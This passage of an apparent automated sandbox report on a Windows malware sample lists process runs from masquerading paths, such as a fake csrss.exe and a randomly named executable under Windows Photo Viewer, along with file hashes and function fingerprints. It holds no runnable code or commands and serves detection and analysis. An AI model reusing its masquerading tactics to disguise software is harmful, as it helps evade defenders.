Path:	C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
Imagebase:	0x230000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:47:44
Start date:	03/01/2025
Path:	C:\ProgramData\ssh\csrss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\All Users\ssh\csrss.exe"
Imagebase:	0x720000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:47:53
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\Gg6wivFINd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Gg6wivFINd.exe"
Imagebase:	0xab0000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:48:01
Start date:	03/01/2025
Path:	C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
Imagebase:	0x3f0000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B890D4C Relevance: 1.5, Strings: 1, Instructions: 261
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5Z_H, xrefs: 00007FFD9B890DF3

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: 5Z_H
API String ID: 0-3267294416
Opcode ID: 2f109f1500b0f9e8aceeff026ed3c8064281c563479477d0024de96ebf6f8c93
Instruction ID: 3c725bf29f89f2720a199519060254019670750a1e762acdb4408c6b299960cf
Opcode Fuzzy Hash: 2f109f1500b0f9e8aceeff026ed3c8064281c563479477d0024de96ebf6f8c93
Instruction Fuzzy Hash: 5B913575A19A8D8FEB49DB688879BA8BFE1FF59700F4400BAD049D73E6DB782401C701

Function 00007FFD9BC9AB62 Relevance: .5, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1728263077.00007FFD9BC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc90000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 241a4d267a5bd8c02e28e299088e68c47ab06cd438f4d4171b4d223575c9b5b8
Instruction ID: 65e73c913ac7782be8870b50395960525c973caefc38e6a806eac5921ae90a64
Opcode Fuzzy Hash: 241a4d267a5bd8c02e28e299088e68c47ab06cd438f4d4171b4d223575c9b5b8
Instruction Fuzzy Hash: 9AE1D530A09A4E8FEBA8DF28C8557E977D1FF54310F14426EE84DC72A5DF78A9418B81

Function 00007FFD9B9F2A28 Relevance: 2.2, Strings: 1, Instructions: 924
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 00007FFD9B9F3549

Memory Dump Source

Source File: 00000000.00000002.1726397666.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9f0000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 5660a9dff1e77abcbc09ae724222d71c0eea529898d2d5c4b9115885d79f2679
Instruction ID: 2a0871ecd42ed3fa1739bcf630db87006ca63a4bbafd33153833e15418a068b7
Opcode Fuzzy Hash: 5660a9dff1e77abcbc09ae724222d71c0eea529898d2d5c4b9115885d79f2679
Instruction Fuzzy Hash: A67275B1A1CA494FDB98EB18C8A1EA4B7E1FB68750F1441F9D04DD32D1DE38B985CB41

Function 00007FFD9BC910C1 Relevance: 1.8, APIs: 1, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryFullProcessImageNameA.KERNELBASE ref: 00007FFD9BC91271

Memory Dump Source

Source File: 00000000.00000002.1728263077.00007FFD9BC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc90000_Gg6wivFINd.jbxd

Similarity

API ID: FullImageNameProcessQuery
String ID:
API String ID: 3578328331-0
Opcode ID: 19ae5e1060b17b17767f3981429d975e41cc92e489e0a72b6baf1394870ab01a
Instruction ID: e42f75219e119b4977a7d08428c50e160aa43c63389fb452423da5af89fed665
Opcode Fuzzy Hash: 19ae5e1060b17b17767f3981429d975e41cc92e489e0a72b6baf1394870ab01a
Instruction Fuzzy Hash: 1971A130609A4C8FEB69DF68D8567F937E1FB59311F00427EE84EC72A2CB7499458B81

Function 00007FFD9B8908D0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d65813d4e318f07c41d49c9fe849c7af6208a59013e48b9b92579c3beaec0a9c
Instruction ID: 689407a397b03f1c0f7b695630f4069b2585f61bef19edc3eae0d83f5db0b2ce
Opcode Fuzzy Hash: d65813d4e318f07c41d49c9fe849c7af6208a59013e48b9b92579c3beaec0a9c
Instruction Fuzzy Hash: 6E415A22B0D5694FE719B7BC74AA6F97B80DF49329B0400BFD04EC71EBED1868428385

Function 00007FFD9B890998 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7f2a6b659b2ad4b49d41d61a4e5ef7b7e59708ca4d1819ca8f1733c40e8a075
Instruction ID: db0e54bcd63499da658023deeb48e36a2ffe9720cbec3d57189fd1ced841f21a
Opcode Fuzzy Hash: e7f2a6b659b2ad4b49d41d61a4e5ef7b7e59708ca4d1819ca8f1733c40e8a075
Instruction Fuzzy Hash: EE312C20B1E95E0FEB58F7A8946AAB97BC5EF5C315B4500BDE40EC32F7DD1869418241

Function 00007FFD9B890C25 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa28dbb2cb70246ffc7392aadc7b036ec2bd8cba44c2b2bf9dfa5107c700d579
Instruction ID: 52d2883beafdf44a183a3783a2b26a1d5a71067cc55ee6e14b04367d88d35487
Opcode Fuzzy Hash: fa28dbb2cb70246ffc7392aadc7b036ec2bd8cba44c2b2bf9dfa5107c700d579
Instruction Fuzzy Hash: A1213A36B1E25D8FEB22A7E89C250EC7F60EF46328F0641F3D0588B1D3D93826469781

Function 00007FFD9B89108D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cddc0307f15d9dd5134a3a1e47f30aa7024c2c5ab147dcfa8ae231fd91067686
Instruction ID: 994f3f084699f6b3627af65ffea0d661a0d52fdf35d6e38b0f84327950969a04
Opcode Fuzzy Hash: cddc0307f15d9dd5134a3a1e47f30aa7024c2c5ab147dcfa8ae231fd91067686
Instruction Fuzzy Hash: B3012B21A8F6D51FFB2957B44C729A13FA1DF8721070A02FAD089CB5E3C84E59868351

Function 00007FFD9B894254 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b732b8214c974f5b8e1af5231493e1b9791cd9dc1390716561a04937f45b57c
Instruction ID: d1ab97e8517f1d3b22f7efb0898e8c30ff5a81f0c4dc0bb49152bfed4e16c4e8
Opcode Fuzzy Hash: 7b732b8214c974f5b8e1af5231493e1b9791cd9dc1390716561a04937f45b57c
Instruction Fuzzy Hash: F8119731A0992D8FDFB4DB98C464BA977E1FB59315F1501A9C40EE72A0DB74AE80CF81

Function 00007FFD9B890C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 835dec97a933a4bf68b07dc2fc58ed06373c243de2c5d63154ba20e9a47a640c
Instruction ID: cfc01042c5e825a8974f47352079b9fe840791a3d94d0a7871e84227190a7fb6
Opcode Fuzzy Hash: 835dec97a933a4bf68b07dc2fc58ed06373c243de2c5d63154ba20e9a47a640c
Instruction Fuzzy Hash: 0E11C232F1E68D8FEB22DBA8886519C7FB0EF56714F0640F7C094DB2A2D93827458780

Function 00007FFD9B890C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d9cf66e02e576477c195c568ccebb406921dff1e136e6edf0f4e10597f70ad1
Instruction ID: d7b2304078ea3e59bc6dae2757138916a7c642c771ecd2a7048b534ab400cd66
Opcode Fuzzy Hash: 6d9cf66e02e576477c195c568ccebb406921dff1e136e6edf0f4e10597f70ad1
Instruction Fuzzy Hash: 4C11A132F1E68D8FEB12DBA8886419C7FB0EF56714F0640F7D094DB2A2D93826458780

Function 00007FFD9B894299 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d57ae8e74662f5031fd2e7bbd8a64f69bc4c8d5da3d1ac1e1b04f63e71df882d
Instruction ID: 09d77cdd262aa779f5beb9ee3b6b08e0f29f6cd6e35a756d9a2cd05ced7b6cde
Opcode Fuzzy Hash: d57ae8e74662f5031fd2e7bbd8a64f69bc4c8d5da3d1ac1e1b04f63e71df882d
Instruction Fuzzy Hash: F011EC30A0891D8FDF64DF44C4A0BA9B7E2FB59301F5501A9D00ED7290CA74AE80CF81

Function 00007FFD9B890C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b179743f615bf57c43b7aef2183b1eea901abcf7623d86f816b8ce25fb03248
Instruction ID: 5da780a43f6598000b4176181b10e83fbfb731f1550e8135baa170c3143a0476
Opcode Fuzzy Hash: 9b179743f615bf57c43b7aef2183b1eea901abcf7623d86f816b8ce25fb03248
Instruction Fuzzy Hash: 8D018031E1E28DCFEB16DBA4886409C7FB0EF56714F1641F7D094DB2A2D9386A458780

Function 00007FFD9B890C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b62abb50af226302eee2465873c5e54ec951cff8b0de862035d96d75a1809659
Instruction ID: d84e6e82d1490869b9857fd50e91ff37b80a278d3db282a0a6479b4f5da4a2c1
Opcode Fuzzy Hash: b62abb50af226302eee2465873c5e54ec951cff8b0de862035d96d75a1809659
Instruction Fuzzy Hash: 49015A31E1E28DCEEB26DBA4886409D7FB0EF1A704F1641E7D094CB2A6D9386A448781

Function 00007FFD9B890B87 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f65d645db37580fbd3f2b8ea20cdf7022449b17c27700b9d36e5bacbd1d66507
Instruction ID: b39af2ce5e765fc5b5000cb6c072cb2453626f388ac6ea90e7e433a26d719fa9
Opcode Fuzzy Hash: f65d645db37580fbd3f2b8ea20cdf7022449b17c27700b9d36e5bacbd1d66507
Instruction Fuzzy Hash: 10E07D3131955D8FCA01EB7CDC154A53F90EF8B21578B10F6D008C7462C110584E8B00

Function 00007FFD9B8910C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1adc1daa6112f5628ed04aba47bec501c1c3e3059aace9282975591373aefbaa
Instruction ID: 97340e8d058c59ed7c0644b8e58323834978efcdd1d5354f308f68c687c6dd72
Opcode Fuzzy Hash: 1adc1daa6112f5628ed04aba47bec501c1c3e3059aace9282975591373aefbaa
Instruction Fuzzy Hash: 18E02625F0C84906FB7CB67468B2AB07280DB86324B0501B9D01AC26DADC0D1C814281

Function 00007FFD9B894E94 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction ID: 9e3dc37430dbea83bf9735cad4decf7516bfd690b65a5bca3fc50122377b3c09
Opcode Fuzzy Hash: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction Fuzzy Hash: 45E0E571F0E21E57FFA5A388C860BEA6661EB9C300F1500B8D95E933D1CD38AE418B55

Function 00007FFD9B896215 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b99c32320f7a46258f3bfe6287363ee98f0efc9619dca73503bc1ad46f77ee7
Instruction ID: 52b47f3c8044e5a19c645c79d8c3f99eb2cf6eb2c08bdc14afdebb5793c46afc
Opcode Fuzzy Hash: 6b99c32320f7a46258f3bfe6287363ee98f0efc9619dca73503bc1ad46f77ee7
Instruction Fuzzy Hash: 99D05E10F1E46A1AF72BE754483193C2D929F89794F9908B5D44A8B1EBCC0C3A024382

Function 00007FFD9B895B53 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction ID: e5d0312d6633e039846a4669c730db2c0a2f3ac8638050b5c08b27fdcd1107be
Opcode Fuzzy Hash: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction Fuzzy Hash: 88D06720F2A51D5FEBA4E76888693B866A1BF4C700F5141B5904DF36A2DD286E418B01

Function 00007FFD9B8906A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c6a52383202a7b738f33d7e8978123d6da0d88d1b412a3286f7f33f22d518df
Instruction ID: 54bcb275cae05ce4cefc1e6d452f27e05448fe6a51c1c735cce1f41f21f1f119
Opcode Fuzzy Hash: 2c6a52383202a7b738f33d7e8978123d6da0d88d1b412a3286f7f33f22d518df
Instruction Fuzzy Hash: CAC04C06F7B62F01FC3673EE98660ACA9415FDDE10FD70172D54C400E1AD4D22D50256

Function 00007FFD9B8961DA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 417c20851575d8239f0af41d71b7247375fd088a466ebdf277e8ffba793f5587
Instruction ID: 7b207c4e8b9483c6e20cc3a5835bb33524d20a30f816f806718179c0a5794269
Opcode Fuzzy Hash: 417c20851575d8239f0af41d71b7247375fd088a466ebdf277e8ffba793f5587
Instruction Fuzzy Hash: D9C04C10F2D85A16F75AA614453167E44939F88798FD54074E01DC72CECD1C5A020687

Function 00007FFD9B8906C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction ID: 20a0e8ea38b26b097e4b4dc69544e07252542b887743d3d39ef6fcd244df8182
Opcode Fuzzy Hash: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction Fuzzy Hash: B6B01200D7741F00EC2433FB085206478405B8C500FC20070D80C40091E84D12940342

Non-executed Functions

Function 00007FFD9BC99DB6 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728263077.00007FFD9BC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc90000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b042116118fa3ed603ef7d3528b4a0ceffa79a04dc246c0d81d1236e1971a26
Instruction ID: c7196f02b5c4afc084ad38b43a06d4202b6bdf2c4e2adb81df708514ec9a701c
Opcode Fuzzy Hash: 3b042116118fa3ed603ef7d3528b4a0ceffa79a04dc246c0d81d1236e1971a26
Instruction Fuzzy Hash: 25F1D630A09A4D8FFBA8DF68C8557E977E1FF54310F04426EE84DC72A5DB7899418B82

Function 00007FFD9BC998B9 Relevance: .4, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728263077.00007FFD9BC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc90000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4387c16e28e8415255bd1efde97302ad2fd3326ecaa5c4ae084f406dc0c42602
Instruction ID: 735e761812e4717f8cb0380e981250919fa1106ced3bf0765a8965b6b82c6e96
Opcode Fuzzy Hash: 4387c16e28e8415255bd1efde97302ad2fd3326ecaa5c4ae084f406dc0c42602
Instruction Fuzzy Hash: E4D1C630A08A8D8FEB68DF28C8557E977E1FF55310F04426EE85DC7295DF78A9418B82

Function 00007FFD9B890E43 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 707fe37a3d37c13d7273be87e3a476faa01ca01ed25985fb053025288c4c79e0
Instruction ID: 1822168c6e7d030ae9d6629a953936ea2a634aa8464c1dfa36f8783e940f4ba1
Opcode Fuzzy Hash: 707fe37a3d37c13d7273be87e3a476faa01ca01ed25985fb053025288c4c79e0
Instruction Fuzzy Hash: 2B510475A1895D8EEB98DB5C9868BA9BFE0FF89754F4400BED009D33D5DBB82411CB00

Function 00007FFD9B8909B0 Relevance: 5.2, Strings: 4, Instructions: 182COMMON

Download Yara Rule

Strings

#{9, xrefs: 00007FFD9B890B3E
c9, xrefs: 00007FFD9B890B56
!k9, xrefs: 00007FFD9B890B4E
"s9, xrefs: 00007FFD9B890B46

Memory Dump Source

Source File: 00000000.00000002.1724901442.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: f2177668a307e26b878c43b9f023e7e2beded604f9bd6f5294c1c133103b3695
Instruction ID: 6d9b1f384a9aeedcfe680253e9fb06775860d90a8925d43fa8f2b5ba7ae2950f
Opcode Fuzzy Hash: f2177668a307e26b878c43b9f023e7e2beded604f9bd6f5294c1c133103b3695
Instruction Fuzzy Hash: 6541C147B1957686E21F33FC79299ED9B84CF8527DB0842B7E16E8A0C75C88208393E5

Analysis Process: csrss.exePID: 7940, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B8A0D4C Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

5Y_H, xrefs: 00007FFD9B8A0DF3

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID: 5Y_H
API String ID: 0-3237497481
Opcode ID: 9f4296a795c46e011caa885ac5fc45b766194b73de366f953d8f2c7b4efee232
Instruction ID: 97b342a9bae360a83e6dca7645ebea068cd70ce0d03ce0f4fcbf7a9c40df0e9e
Opcode Fuzzy Hash: 9f4296a795c46e011caa885ac5fc45b766194b73de366f953d8f2c7b4efee232
Instruction Fuzzy Hash: 10911071A19A8D8FE799DB6888797A8BFE1FF5A710F4001FAD049D72E2DB782411C701

Function 00007FFD9B8D1625 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daac88abf263e95d564a402f89056d32370f446f97e0f4b71d29ab7ef40698df
Instruction ID: 303e775b0027ad13dbd54af8bfbe319299f110a6b0b67fcf60203b8668f8fc6c
Opcode Fuzzy Hash: daac88abf263e95d564a402f89056d32370f446f97e0f4b71d29ab7ef40698df
Instruction Fuzzy Hash: 86D1DE31A2D6990BE32D5B688C9217177D1EFC6315B59877ED8DFC309BD928A40783C1

Function 00007FFD9B8DAAD9 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8DAAF6

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 0dc79508ceb9f11721cac5b300685153d04d6afeba82a119ef888007328889b6
Instruction ID: 798431b5e0e120dc1192932c8ed9217e1ee817697977c42e2610827b089646f4
Opcode Fuzzy Hash: 0dc79508ceb9f11721cac5b300685153d04d6afeba82a119ef888007328889b6
Instruction Fuzzy Hash: CDF0A96060F3C44FCB1AAB3488688187FA0EE6B20034A42EFC049CB1A3EA288885C701

Function 00007FFD9B8D21E9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8D2206

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 398282364544d25d35aaaf4672a5ebd955670acb390cdf2e05a2b5c5a08e5b35
Instruction ID: 0f0f00c688661cdf4f982958a98a3a912064739879a156b5817e0bef3e4d677a
Opcode Fuzzy Hash: 398282364544d25d35aaaf4672a5ebd955670acb390cdf2e05a2b5c5a08e5b35
Instruction Fuzzy Hash: 8AE06D2060E3C08FCB16AB3488688547F60EE6720174A52EFC046CF1A3EA2D8986CB01

Function 00007FFD9B8D3479 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8D3496

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 4a8e4a8f597a4a3e6813092c966bfb03a571af712c5925d52cb04d1b18ab1b3c
Instruction ID: c494779b6e4d0c378fdc5a9ca115cfe0582905b5175d7e2ac76e71fc1b15279a
Opcode Fuzzy Hash: 4a8e4a8f597a4a3e6813092c966bfb03a571af712c5925d52cb04d1b18ab1b3c
Instruction Fuzzy Hash: 4FE06D7160E7C44FC71AAA388869454BFA0EF6721174A42EFC045CF1A3EA2D8889C701

Function 00007FFD9B8DB0A9 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8DB0C6

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
